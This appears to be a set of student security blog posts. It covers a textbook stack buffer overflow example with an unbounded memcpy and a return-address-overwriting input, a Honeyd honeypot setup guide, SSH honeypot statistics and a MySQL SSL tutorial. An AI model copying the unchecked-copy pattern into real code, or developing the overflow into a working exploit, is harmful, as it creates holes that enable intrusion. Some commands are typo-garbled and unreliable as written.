If you still thinking what stack buffer overflow is god for? I give you a simple example (from Wikipedia article).
Imagine you have the following code:

void foo (char *bar)
{
   char  c[12];

   memcpy(c, bar, strlen(bar));  // no bounds checking...
}

int main (int argc, char **argv)
{
   foo(argv[1]);
}

As you can see, there are no verification about the input of the function foo, about the *bar variable.
This is the stack that are created at some point when this function is called by another one:

When you call the foo, like:

void function() {
  char *newBar = (char *)malloc(sizeof(char)*6);
  strcpy(newBar,"hello");
  foo(newBar);
}

This is what happens to the stack:

Now, if you try this:

void function() {
  char *newBar = (char *)malloc(sizeof(char)*24);
  strcpy(newBar,"A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​A​x08​x35​xC0​x80");
  foo(newBar);
}

This is what happens to the stack:

So, now, when the foo function terminates, it will pop the return address and jump to that address (0x08C03508, in this case), and not to the expected one. In this iamge, the address 0x08C03508 is the beginning of the char c[12] code. Where the attacker can previously put shellcode, and not AAAAA string…
Now imagine that this program is SUID bit on to run as root, you can instantly scale to root…

Fortunately this kind of attacks is being to reduce, since the introduction of stack canary’s. This kind of protection is possible because the stack is not dynamic, but as we gone see later (in part II), the heap is.

References





SSH Login Attempts

11 01 2009

Back with honeypot news! We have launched our honeypot for 5 weeks, and now we have results to show you. In this post I will show you the attempts that attackers make to get into our ssh honeypot server.

The ssh honeypot was fustigated during these 5 weeks. Several attempts were made, about 78227, but no one successful.

Here is the graphic for usernames attempts:

And here is the graphic for password attempts:

Future Work

We will show all the rest of information that we capture on our honeypot in the future. We have discovered great stuff.
I have also done a nice program to generate statistics in Haskell using HaskellCharts, I will talk about that later too.

That’s all for now!





Deploying Honeypots with Honeyd

8 12 2008

Another work of Cryptography, this time on Security in systems information area. Me and Pedro Pereira choose the Honeypot project. The idea is to understand and if possible experiment tools to implement Honeypots.

The Honeynet Project


The Honeynet project began in 1999 by the initiative of Lance Spitzner. It is an international nonprofit project. The idea of this project is to increase security on the Internet without any cost to the public. This is a project with strong bases on OpenSource believes. This project has several years of experience in defense information systems. In his website you can have access to a lot of documentation and software to create Honeynets and Honeypots.

In fact we have started to watch this presentation from HITBSecConf2007 in Dubai by Lance Spitzner. If you feel interested and have 40 minutes I recommend to watch.

Reading about Honeypots

The are 2 kinds of honeypots, client and server. The client surf the web interacting with other computers, and the server wait until someone request a service. And more 2 kind, low and high interaction, that means, if the honeypot is virtual or real (a real machine).

Our work is focused on the study of some solutions to create Honeypots. We start to read some good papers about the subject. After reading Malicious Web Servers, from Know Youy Enemy series, and later the Behind the Scenes of Malicious Web Servers, we start to get involved by the idea of deploying our own Honeypot. So we decide to use Honeyd tool to create them.

In this post I will talk about the process of install and configure a Honepot with the help of Honeyd.

Honeyd

Honeyd is a low interaction honeypot client that create virtual hosts (Honeypots) in a network. These Honeypots can be configured to act like a real operative system, in fact there are approximately 1000 personalities of OS’s that we can chose. At the same time we can configure those operative systems to activate certains services like FTP, HTTP, Telnet, etc.

Honeyd enables a single host to claim multiple addresses – I have tested up to 65536 – on a LAN for network simulation.

The quote is from Niels Provos, the creator of Honeyd.

Installing Honeyd

If you are in debian (like me), the only thing you have to do (and I think you are accustomed to it :P) is:

hydra:~# apt-get install honeyd honeyd-common

The package honeyd-common came with a lot of scripts to emulate the services that we will run in our Honeypot.

If you are running another one download the version I will use, and install it.

Preparing the field for Honeyd

All the system configurations we found was with the intention of running Honeyd in a local network.
And we have a router between us and the Internet. The router do NAT to the internal network, so we only have one IP. So we decide to only implement one honeypot to start testing.

In the router we determined that the computer that has the Honeyd installed (192.168.1.72) can be accessed from outside by ssh throw the port 2222, and HTTP by 8080 (to see the statistics). We also add that our honeypot (192.168.1.50) would be visible from the Internet with a quantity of open ports. This ports we show further on.

In fact we still have a problem, the router don’t know our honeypot (192.168.1.50). To solve this we run in Honeyd computer:

hydra:~# farpd 192.168.1.50 -i eth0

farpd is a program made by Niels Povos. With that program the computer with Honeyd (192.168.1.72) will send is MAC address when a ARP request is made to the network. This ARP request happens because the router don’t know who is 192.168.1.50. After 192.168.1.72 sending his MAC address the router will send the package to Honeyd computer (192.168.1.72), and Honeyd program will take care of them, sending it to the virtual host.

Now we have to configure how Honeyd will run, the file can be found in /etc/defaults/honeyd
Agora temos que configurar como o hd~vai correr, para isso utilizamos o seguinte textit{script}:

# File: /etc/defaults/honeyd
# Defaults for honeyd initscript

# run as a daemon
RUN="yes"
# Network interface where honeyd will listen
INTERFACE="eth0"
# Network under control od honeyd (in my case: just one host)
NETWORK=192.168.1.50
# Options
# -c hostname:port:username:password
OPTIONS="-c localhost:12345:username:password"

The -c flag will collect to us some statistics, that we will put in a pie chart further. This flag receives the hostname, the port, username and password to can access to the statistics.

You may want to configure also the /etc/init.d/honeyd file, here are the first lines of the file:

. . .
PATH=/bin:/usr/bin:/sbin:/usr/sbin
# Daemon locations
DAEMON=/usr/bin/honeyd
# Daemon names
NAME=honeyd
# Pidfiles
PIDFILE=/var/run/honeyd.pid
# Labels
LABEL="Honeyd daemon"
DEFAULT=/etc/default/honeyd
LOGDIR="/var/log/honeypot"
DAEMONLOG="$LOGDIR/daemon.log"
. . .

Note that log files from Honeyd will be written in LOGDIR directory.

honeydstats

With all the statistics being collected by honeyd (with the flag -c activated) the only thing we need is a program to read them, and show them in a human way.
To do that job honeyd came with program honeydstats. To run that command, and start collecting statistics from you honeyd do:

hydra:~# honeydstats --os_report /etc/honeypot/os.honeydstats
      --port_report /etc/honeypot/port.honeydstats
      --spammer_report /etc/honeypot/spam.honeydstats
      --country_report /etc/honeypot/country.honeydstats
      -f /etc/honeypot/honeydstats.conf -l localhost -p 12345

I have choose to write all files in the /etc/honeypot/ directory for convenience. The command above start collecting statistics in port 12345 and host localhost, the –*_report flags indicate the statistics honeydstats collect. The file /etc/honeypot/honeydstats.conf contains the username and the password in the form:

# File: /etc/honeypot/honeydstats.conf
username:password

honeypot Configuration

This is the configuration file for my honeypot (192.168.1.50). I use a default one, with a little changes, you can find a lot of this files in the Internet.

create win2k
set win2k personality "Microsoft Windows 2000 SP2"
set win2k default tcp action reset
set win2k default udp action reset
set win2k default icmp action block
set win2k uptime 3567
set win2k droprate in 13
add win2k tcp port 23 "sh /usr/share/honeyd/scripts/unix/linux/suse8.0/telnetd.sh $ipsrc $sport $ipdst $dport"
add win2k tcp port 21 "sh /usr/share/honeyd/scripts/win32/win2k/msftp.sh $ipsrc $sport $ipdst $dport"
add win2k tcp port 25 "sh /usr/share/honeyd/scripts/win32/win2k/exchange-smtp.sh $ipsrc $sport $ipdst $dport"
add win2k tcp port 80 "sh /usr/share/honeyd/scripts/win32/win2k/iis.sh $ipsrc $sport $ipdst $dport"
add win2k tcp port 110 "sh /usr/share/honeyd/scripts/win32/win2k/exchange-pop3.sh $ipsrc $sport $ipdst $dport"
add win2k tcp port 143 "sh /usr/share/honeyd/scripts/win32/win2k/exchange-imap.sh $ipsrc $sport $ipdst $dport"
add win2k tcp port 389 "sh /usr/share/honeyd/scripts/win32/win2k/ldap.sh $ipsrc $sport $ipdst $dport"
add win2k tcp port 5901 "sh /usr/share/honeyd/scripts/win32/win2k/vnc.sh $ipsrc $sport $ipdst $dport"
add win2k udp port 161 "perl /usr/share/honeyd/scripts/unix/general/snmp/fake-snmp.pl public private --config=/usr/share/honeyd/scripts/unix/general/snmp"

# This will redirect incomming windows-filesharing back to the source

add win2k udp port 137 proxy $ipsrc:137
add win2k udp port 138 proxy $ipsrc:138
add win2k udp port 445 proxy $ipsrc:445
add win2k tcp port 137 proxy $ipsrc:137
add win2k tcp port 138 proxy $ipsrc:138
add win2k tcp port 139 proxy $ipsrc:139
add win2k tcp port 445 proxy $ipsrc:445

bind 192.168.1.50 win2k

Here I create a win2k operative system (Microsoft Windows 2000 with SP2) with a lot of open ports {23,21,25,80,110,143,389,5901,137,138,139}TCP and {161,137,138,445}UDP. These port’s must be open in your router, and pointing to the honeypot – 192.168.1.50.

And now we are ready to run honeyd:

hydra:~# /etc/init.d/honeyd start

Generating graphical statistics

Here is the problem of Honeyd, don’t have a graphical interface or a webpage to visualize all the information that are being saved to the .log, just honeydstats…
Well, I’ve found these perl script and these perl system file.

you:/etc/honeypot$ wget http://www.alunos.di.uminho.pt/~a43175/code/perl/customPie.pm -O /etc/honeypot/customPie.pm
you:/etc/honeypot$ wget http://www.alunos.di.uminho.pt/~a43175/code/perl/buildPie.pl -O /etc/honeypot/buildPie.pl

The file buildPie.pl receives files in the form:

#13#           Linux 2.6 .1-7#
#1#          Solaris 10 beta#
#1#            Windows 2000 #
#1#              Windows 98 #
#15#           Windows XP SP1#
#27#                  unknown#

and we have files in the form:

           Linux 2.6 .1-7:       0       1      13
          Solaris 10 beta:       0       0       1
            Windows 2000 :       0       0       1
              Windows 98 :       0       0       1
           Windows XP SP1:       0       0      15
                  unknown:       0       2      26

Now I’m gonna to use the these files generated by honeydstats {os,port,spam,country} to put the files in #n#id# form. Here we need to use the program txt2html, so, better you install it. Now we just have to get out the rust of sed command and we are ready!

# File: /etc/honeypot/generate-stats.sh
#!/bin/sh
#
# Country
cat /etc/honeypot/country | sort -rn | head | awk '{print $4" "$1}'  | sed 's/^/#/g' | sed 's/$/#/g' | sed 's/ /#/g' | sed 's/://g'  | perl /etc/honeypot/buildPie.pl /var/www/img/country
cat /etc/honeypot/country | txt2html > /var/www/img/country.html

# Operative System
cat /etc/honeypot/os | sed 's/(.*):([^0-9]*)([^ ]*)([^0-9]*)([^ ]*)([^0-9]*)([^ ]*).*/#7#1#/g' | perl /etc/honeypot/buildPie.pl /var/www/img/os
cat /etc/honeypot/os | txt2html > /var/www/img/os.html

# Spam
cat /etc/honeypot/spam | sort -rn | head | awk '{print $4" "$1}'  | sed 's/^/#/g' | sed 's/$/#/g' | sed 's/ /#/g' | sed 's/://g' | perl /etc/honeypot/buildPie.pl /var/www/img/spam
cat /etc/honeypot/spam | txt2html > /var/www/img/spam.html

# Ports
cat /etc/honeypot/port | sort -rn | head | awk '{print $4" "$1}'  | sed 's/^/#/g' | sed 's/$/#/g' | sed 's/ /#/g' | sed 's/://g' | perl /etc/honeypot/buildPie.pl /var/www/img/port
cat /etc/honeypot/port | txt2html /var/www/img/port.html

Now get the index.html to put in the /var/www/img directory:

you:/etc/honeypot$ mkdir /var/www/img/
you:/etc/honeypot$ wget http://www.alunos.di.uminho.pt/~a43175/code/html/index.html.txt -O /var/www/img/index.html

Add a cronjob:

you:/etc/honeypot# vi /etc/crontab

And add these line to the end of file:

6  *    * * *   root    /etc/honeypot/generate-stats.sh

And we are done! For now on, you should have these nice graphics in your index.html file:

Future work

Well, the honeypot still running, and more and more statistics are being collected, in fact we already have make a very good discovers, but in a future post I will talk about that.

We are also thinking in use another kind of honeypot, a low interaction client honeypot, maybe HoneyC to identify malicious servers on the web, and maybe experiment by our selfs what we have read about client honeypots.





Secure connections to MySQL

18 11 2008

Together with Pedro Pereira we decided to investigate how MySQL make secure connections with clients. This is the first milestone of our msc in Cryptography.
It was proposed that we investigate the internal authentication process that MySQL do using X.509 certificates format.

This post gives a short introduction to tools and methods we use, Public-key cryptography, Certificates, OpenSSL, MySQL and VirtualBox.

We use the VirtualBox to install mysql, to avoid installing it in our OS. So, all the commands showed here have to maked in this virtual machine.

Configuring VirtualBox

As we said before, we installed MySQL in a virtual machine, so we decided access the virtual machine by ssh and remote connections to
MySQL.

NAT vs Port forward

By default the network connection in VirtualBox is made by Network Address Translation (NAT), i.e. each package that is sent by the guest machine is modified so that it appears to come from the host machine. Thus it is very easy to guest machine to connect with the entire network (including Internet), but never could start a connection from host machine to guest machine, since the interface of the guest
is hidden by the host machine.

To resolve this issue, and can access from host machine to the guest by ssh and the MySQL we decided to use the Port forward system that VirtualBox offers.
We have the guest machine running a ssh service accepting connections on port 22. Our goal is to make each package reaches a certain TCP port (eg 2222) on the host machine to to be redirected to TCP port 22 in guest machine.

The command that allows us to do this in VirtualBox is: VBoxManage. We make this with following commands, in which would be the name we gave to our guest machine:

shell> VBoxManage setextradata 
        "VBoxInternal/Devices/pcnet/0/LUN#0/Config/ssh/HostPort" 2222
shell> VBoxManage setextradata 
        "VBoxInternal/Devices/pcnet/0/LUN#0/Config/ssh/GuestPort" 22
shell> VBoxManage setextradata 
        "VBoxInternal/Devices/pcnet/0/LUN#0/Config/ssh/Protocol" TCP

From now every time we want to connect by ssh to the guest machine only run the following command in a shell:

shell> ssh -l  -p 2222 localhost

Similarly the same happens with MySQL connections. We want all packages targeted to port 3333 on host machine is redirected to the port 3306 of guest machine . So being able to access the MySQL that is installed on the guest machine:

shell> VBoxManage setextradata 
        "VBoxInternal/Devices/pcnet/0/LUN#0/Config/mysql/HostPort" 3333
shell> VBoxManage setextradata 
        "VBoxInternal/Devices/pcnet/0/LUN#0/Config/mysql/GuestPort" 3306
shell> VBoxManage setextradata 
        "VBoxInternal/Devices/pcnet/0/LUN#0/Config/mysql/Protocol" TCP

Public-key cryptography

The cryptography asymmetric system can be explained with the following analogy: a mailbox,
is accessible to the public through its address (public key), then anyone can send a
message for this box. Just who has the key to the box is the only who can read the messages (private key).

We only guarantee that any person can send encrypted messages to the owner of the mailbox. However we could not guarantee the identity of who recieve the message (the private key may have been compromised). We also can not guarantee the identity of the person who sent (Later we will see that the use of certificates resolve this problem).

For Bob send a message to Alice, he uses her public key to encrypt the message. This cryptogram is sent to Alice that decrypt with her private key.
Later, the Alice responds to Bob, encrypting the message with his public key.

In a different kind of use of public key can have a scenario in which Alice communicate with Bob, encrypts the message with her private key (digital signature) and encrypt it again with Bob’s public key. Thus, on the other side of the channel, Bob uses his private key and
subsequent Alice’s public key, thus obtaining the original clear text.

The cryptogram generated is an example of a symmetric cipher and is more robust than the previous scenario where only one key is used each time. Imagine now a case in which a third malicious actor, publish your public key and claim to be Alice. Thus it is likely someone who cheat and can read some of the messages intended for Alice. Although we have secure connections/strongly encrypted messages, there is still no guarantee the identity of any of the actors in the process of communication. In this context, we use X.509 certificates

Certificates

An X.509 certificate of public key is an electronic document that can be compared to Identity card. However, instead of attaching a photo to the name of the person, it combines the key to their own (identity). But the certificate may not be issued by the concerned stakeholders because any one could falsify one certificate and claiming a false identity.

There we need that there is an entity (Certification Authority) trusted by both sides to ensure the identities of both. The CA ‘s sign (encrypt) the certificates with theirs private keys allowing validity to who decrypt the signature with their public key CA’s.

But if go to the top of hierarchy in the chain of certificates we will face a problem: who signs the CA certificate? The bottom line is we have always to belive in a entity, now users no longer communicate among themselves but the CA’s do that. The CA ‘s can sign their certificates, an example of a self-signed certificate that normally is a root Certificate.

Installing MySQL

The process we used here, was tested in a machine with Ubuntu 7.10 and 8.04:

shell> apt -get install mysql-server-5.0 mysql-client-5.0

The OpenSSL came compiled by default in the .deb package, but if we have to compile it we only would have to specify the following in the process of setting up the Makefile:

shell> ./ configure --with - openssl

Now, that we have instaled MySQL, we can go into it typing:

shell> mysql -h SERVER -u root -p

This way we got an uncrypted connection to the server, to obtain an encrypted you must add the option –ssl. This option when introduced on the server side means that the server will allow secure connections, in client-side allows to connect to the server via a secure connection. But this option alone is not enough, it is also necessary to introduce –ssl-ca and possibly the –ssl-cert and –ssl-key.
We have to enter with this flags if we not set the appropriate paths of certificates and their keys in the file /etc/mysql/my.conf.

But we’ll see below in more detail how to use these options, now just want to add a user “user” with the password “passwd” in the database “dBASE” located in “servidordeteste.com” demanding an SSL connection:

mysql > GRANT ALL PRIVILEGES ON dbase .* TO ’user’@’servidordeteste.com’
       IDENTIFIED BY ’passwd ’
       REQUIRE SUBJECT ’/CN=user ’
       AND ISSUER ’/CN=CA ’
       AND CIPHER ’EDH-RSA-DES-CBC3-SHA ’;

The CIPHER part means the ciphers used for encryption and you should pick up the ciphers stronger because MySQL can use weaker ciphers.

Now, we get out of the MySQL administration program to demonstrate how to generate keys and certificates.

Generate certificates

We will demonstrate how to create a fictitious CA, generate certificates of potential clients/servers and pointed through the private key of CA, just like real in the process. First we create a tree of folders to contain the structuring of certificates:

shell> mkdir -m 755 
      ~/teste/CA 
      ~/teste/CA/private 
      ~/teste/CA/certs 
      ~/teste/CA/newcerts 
      ~/teste/CA/crl

The CA folder represents the folder of our certification authority, the private folder will hold private keys; certs folder will have the clients/servers certificates, the newcerts is a required folder for the OpenSSL to store decrypted certificates, whose names will be their serial numbers; finally crl folder will keep the list of revoked certificates.
Now copy the default OpenSSL configuration file to our CA folder:

shell> cp /etc/ssl/openssl .cnf ~/teste/CA/myopenssl .cnf

and we change permission, allowing only the user can read and write:

shell> chmod 600 ~/teste/CA/myopenssl .cnf

We need to create two files, one will be the OpenSSl database:

shell> touch ~/teste/CA/index.txt

and the other, containing the serial numbers of each certificate. We don’t have anyone, so we put “01” in that file:

shell> echo '01' > ~/teste/CA/serial

Now run all commands in the folder ~/test/CA because is there we have the OpenSSL configuration file. The next step is to generate the self-signed CA certificate: generate the CA private key of 2048 bits (Today, less than 2048 bits is no longer considered completely safe).

shell> openssl genrsa -out private/ca-privkey.key 2048

if we want to check the contents of the key:

shell> openssl rsa -text -in private/ca-privkey.key

and if just generate a public key from private key:

shell> openssl rsa -pubout -in private/ca-privkey.key -out ca-publkey.key

Now we generate the certificate (valid for 365 days) and their public key and through private key we signed it:

shell> openssl req -config myopenssl.cnf -new -x509 -extensions v3_ca
        -key private/ca-privkey.key -out certs/ca-cert.crt -days 365

Note that the “Common Name” (CN) is the identifier that distinguishes the entity/person therefore has to be well written. In this case
CN = CA.

Now, if we want to verify the content of the certificate:

shell> openssl x509 -in certs/ca-cert.crt -noout -text

The private key must be stored under very strong permissions, only the root should be able to read it:

shell> chmod 400 private/ca-privkey.key

Then we change the OpenSSL configuration file (myopenssl.cnf) so that we have this information:

[ CA_default ]
dir              = .
certs            = $dir/certs
crl_dir          = $dir/crl
database         = $dir/index.txt
# unique_subject = no
new_certs_dir    = $dir/newcerts
certificate      = $dir/certs/myca.crt
serial           = $dir/serial
# crlnumber      = $dir/crlnumber
crl              = $dir/crl.pem
private_key      = $dir/private/myca.key
RANDFILE         = $dir/private/.rand
x509_extensions  = usr_cert

Now we can produce the client/server certificate:
we generate the private key and certificate request with the public key:

shell> openssl req -config myopenssl.cnf -new -newkey rsa:2048
        -nodes -keyout private/privkey.key -out cert-req.csr

Then we change the permissions of the new key as before. Note that the “Common Name” (CN) is the identifier that distinguishes a person/entity therefore has to be well written.
In this case CN = user.

we can verify the content of the request:

shell> openssl req -in cert-req.csr -noout -text

And with this command we sign the certificate:

shell> openssl ca -config myopenssl.cnf -cert certs/ca-cert.csr
        -keyfile private/ca-privkey.key -out certs/cert.crt
        -infiles cert-req.csr

This last command creates two additional files on certs folder. The cert.crt (signed certificate) and newcerts/01.pem (decrypted certificate). Naturally we would have to repeat the process for similar entity (client/server).
Right now we’re ready to connect with MySQL.

Connecting to MySQL

The cryptographic methods discussed in the first part of this port are situated in a context of communication. However there are many situations where we need to ensure a secure connection. One of those situations: you may want to connect to a remote database.

When accessing to a remote database anyone with access to the same network can inspect all traffic or worse, change it while passing between the client and server. We can however, use the option –compress on the client side to compress the traffic but still unencrypted and unsafe.
But as we said earlier, MySQL supports encrypted connections through the use of libraries of OpenSSL. Here we can see the MySQL Makefile’s SSL section:

Ln 318: openssl_includes = @openssl_includes@
Ln 319: openssl_libs = @openssl_libs@

So any kind of encryption/maintenance of certificates in MySQL is controlled by the functions that are part of the OpenSSL API.

Configuring SSL in MySQL

To ensure the authenticity can be assured we add the following lines to /etc/mysql/my.conf:

[ client ]
ssl -ca=/home/user/teste/certs/ca-cert.crt
ssl -cert =/home/user/teste/certs/cert.crt       #(client)
ssl -key =/home/user/teste/private/privkey.key   #(client)
[ mysqld ]
ssl -ca=/home/user/teste/certs/ca-cert.crt
ssl -cert =/home/user/teste/certs/cert.crt       #(server)
ssl -key =/home/user/teste/private/privkey.key   #(server)

Consider the initial situation in the role of client, we can access to the server, but now in a secure way. Then:

shell> mysql -h SERVER -u USER -p --ssl

If everything went well we now can connect via a secure connection and authenticated using X.509 certificates.

mysql > show variables like '%ssl%';
+---------------+----------------------------------------+
| Variable_name | Value                                  |
+---------------+----------------------------------------+
| have_openssl  | YES                                    |
| have_ssl      | YES                                    |
| ssl_ca        | /home/user/test/certs/ca-cert.crt      |
| ssl_capath    |                                        |
| ssl_cert      | /home/user/test/certs/server-cert.crt  |
| ssl_cipher    |                                        |
| ssl_key       | /home/user/test/private/server-key.key |
+---------------+----------------------------------------+
7 rows in set (0.11 sec)

As a final note, of this part, we mention that the whole process of this part refers to only one user, to another we must repeat everything, of course.

SSL Program

As extra, we decide to implement a simple program that use SSL connections in JAVA.

We found that the MySQL Connector/J supports some properties that are useful to establish SSL connections.

The property useSSL tells the server that we use a secure connection.
In this case the user ssluser was created with the command GRANT … REQUIRE SSL, ensuring that
can only connect by SSL.

import com.mysql.jdbc.*;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.Properties;
import java.util.logging.Level;
import java.util.logging.Logger;

public class Main {

    public static void main(String[] args) {
        Connection conn = null;

        try {
            String userName = "ssluser";
            String password = "password";

            Class.forName("com.mysql.jdbc.Driver").newInstance();

            String url = "jdbc:mysql://localhost:3333/mysql" //port 3306 of guest machine
                    + "?useSSL=true";

            conn = (Connection) DriverManager.getConnection(url, userName, password);
            Statement stmt = (Statement) conn.createStatement();

            ResultSet rs = stmt.executeQuery("select User,Host,ssl_type from mysql.user;");

            while (rs.next()) {
                System.out.print(rs.getString(1) + " ");
                System.out.print(rs.getString(2) + " ");
                System.out.println(rs.getString(3) + " ");
            }

        } catch (SQLException e) {
            e.printStackTrace();
            System.out.println("SQLException: " + e.getMessage());
            System.out.println("SQLState: " +  e.getSQLState());
            System.out.println("VendorError: " + e.getErrorCode());
        } catch (Exception ex) {
            ex.printStackTrace();
        } finally {
            if (conn != null) {
                try {
                    conn.close();
                    System.out.println("Database connection terminated");
                } catch (Exception e) {  }
            }
        }
    }
}

This simple program run well, it print the above table to stdout.

We wanted to implement the same application using certificates, but not, we have errors for which no solution yet found. The documentation, unfortunately not worked for us.

Anyway, as a great experience find everything we describe in this post. We learned a lot about cryptography …